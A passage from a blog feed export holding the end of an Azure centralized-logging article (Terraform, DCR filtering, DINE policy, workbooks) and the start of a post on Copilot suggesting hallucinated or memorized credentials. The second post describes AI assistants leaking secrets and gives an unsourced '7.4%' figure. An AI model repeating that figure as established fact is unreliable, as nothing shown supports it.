style=\"display:flex;\"\u003e\u003cspan\u003e  resource_group_name \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;rg-prod-mgt-001\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  location            \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;eastus\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e  # Standard production settings\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  sku               \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;PerGB2018\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  retention_in_days \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e90\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  daily_quota_gb    \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e50\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e # Prevent runaway ingestion costs\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"3-data-collection-rules-dcr-and-cost-optimization\"\u003e3. Data Collection Rules (DCR) and Cost Optimization\u003c/h2\u003e\n\u003cp\u003eLogging every packet passing through a firewall is expensive—and most of it is noise. \u003cstrong\u003eData Collection Rules (DCRs)\u003c/strong\u003e let you filter and transform logs \u003cem\u003eat the ingestion point\u003c/em\u003e, before they hit your bill.\u003c/p\u003e\n\u003ch3 id=\"dcr-ingestion-filtering-cost-optimization\"\u003eDCR Ingestion Filtering (Cost Optimization)\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 752 217\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,48 L 344,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,160 L 608,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,8 L 80,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,48 L 80,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,16 L 352,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,96 L 352,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,160 L 352,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,16 L 616,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='352.000000,48.000000 340.000000,42.400002 340.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 344.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='616.000000,160.000000 604.000000,154.399994 604.000000,165.600006' fill='currentColor' transform='rotate(0.000000, 608.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='16' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='4' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='148' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003e\"\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='132' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='148' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='132' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='148' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='132' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='148' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='132' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='148' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='132' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='148' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='148' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='132' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='148' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='132' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='148' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='132' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='148' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='132' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='148' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='132' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='148' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='84' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='100' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='100' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='84' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='100' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='196' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='100' fill='currentColor' style='font-size:1em'\u003e\"\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='196' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='196' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='704' y='4' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='712' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='720' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='728' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='736' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eBy applying a KQL transform to your firewall logs (e.g., dropping \u003ccode\u003eALLOW\u003c/code\u003e logs for internal-to-internal traffic), you can reduce your ingestion costs by 40-60% without losing security visibility into high-risk external traffic.\u003c/p\u003e\n\u003ch2 id=\"4-automating-diagnostics-with-azure-policy\"\u003e4. Automating Diagnostics with Azure Policy\u003c/h2\u003e\n\u003cp\u003eYou cannot rely on developers to remember to enable diagnostic settings. Instead, use a \u003cstrong\u003eDeployIfNotExists (DINE)\u003c/strong\u003e policy (from Article 4) to automatically connect every new VNet, Key Vault, and Storage Account to your central hub.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// Example: Policy existence condition for VNet Diag\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e\u0026#34;field\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Microsoft.Insights/diagnosticSettings/logs.enabled\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e\u0026#34;equals\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;true\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"5-visualizing-the-platform-with-workbooks\"\u003e5. Visualizing the Platform with Workbooks\u003c/h2\u003e\n\u003cp\u003eRaw data in Log Analytics answers questions; \u003cstrong\u003eAzure Monitor Workbooks\u003c/strong\u003e help you ask better ones. Workbooks give you an interactive canvas that combines KQL queries, parameters, and visualizations on a single page—much more useful for investigation than a static dashboard. A standard \u0026ldquo;Platform Health\u0026rdquo; workbook should include:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eTop 10 Log Producers:\u003c/strong\u003e Identify noisy resources that need DCR filtering.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRBAC Change Audit:\u003c/strong\u003e Track every permission change across the management group.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFirewall Denials:\u003c/strong\u003e Map outbound blocks to specific application spokes.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eKQL Pro Tip:\u003c/strong\u003e Use \u003ccode\u003eparse_json(tostring(...))\u003c/code\u003e to extract deep metadata from the \u003ccode\u003eProperties\u003c/code\u003e field in \u003ccode\u003eAzureActivity\u003c/code\u003e logs, as they are often double-encoded.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eHub is the Hub:\u003c/strong\u003e One Log Analytics Workspace for the entire landing zone is the most efficient design for correlation and cost.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFilter at Ingestion:\u003c/strong\u003e Use DCRs to drop low-value logs and keep your data clean.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePolicy is the Glue:\u003c/strong\u003e Use DINE policies to ensure 100% logging coverage across new subscriptions.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWorkbooks over Dashboards:\u003c/strong\u003e Use Workbooks for deep, interactive investigation and Dashboards for high-level monitoring.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext Steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/azure-security-baseline/\"\u003eSecurity Baseline: Defender for Cloud and Microsoft Sentinel in a Landing Zone\u003c/a\u003e to layer Microsoft Sentinel on top of this data for automated threat detection.\u003c/li\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/azure-landing-zone-costs/\"\u003eCost Governance in the Landing Zone: Tagging Enforcement, Budgets, and FinOps Automation\u003c/a\u003e to implement cost governance queries using this centralized telemetry.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/enterprise-scale/management-and-monitoring\"\u003eMicrosoft Learn: Centralized logging with Azure Monitor\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://azure.github.io/Azure-Verified-Modules/specs/res/operational-insights/workspace/\"\u003eAzure Verified Modules: Log Analytics Workspace Specification\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/data-collection-rule-overview\"\u003eMicrosoft Learn: Data Collection Rules (DCR) overview\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Design a centralized logging architecture for your Azure Landing Zone using Log Analytics and Data Collection Rules. Learn to automate diagnostic settings at scale.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-monitor-logging/","title":"Centralized Monitoring: Log Analytics, Diagnostic Settings, and Azure Monitor Workbooks"},{"content":"\u003cp\u003eGitHub Copilot just suggested an Azure Storage connection string. The format was correct, the key length was right, and the AccountName matched a plausible service name. You accepted the suggestion, committed, and pushed. Instantly, your terminal flashed a red error: \u003cstrong\u003eGH007: Your push would publish a secret.\u003c/strong\u003e GitHub Advanced Security (GHAS) push protection fired—but the key was fake. Copilot \u0026ldquo;hallucinated\u0026rdquo; a syntactically valid credential from training data patterns.\u003c/p\u003e\n\u003cp\u003eThis time, no real secret leaked. But the next time, a developer might accept a Copilot suggestion containing an actual key from an internal test fixture that was inadvertently loaded as context. AI-assisted development creates a dual threat model: high-volume \u0026ldquo;hallucination noise\u0026rdquo; that desensitizes security teams, and real memorized secrets that bypass traditional filters. Approximately \u003cstrong\u003e7.4% of AI-suggested credentials are real, working secrets\u003c/strong\u003e memorized from training data, while the other 92.6% are noise.\u003c/p\u003e\n\u003cp\u003eThe rest of this post walks through a multi-layered defense strategy using GHAS, Copilot Autofix, and 2026-era agentic scanning—moving beyond simple regex matching to an architecture that verifies secret validity in real-time and redacts credentials before they ever reach your git history.\u003c/p\u003e\n\u003ch3 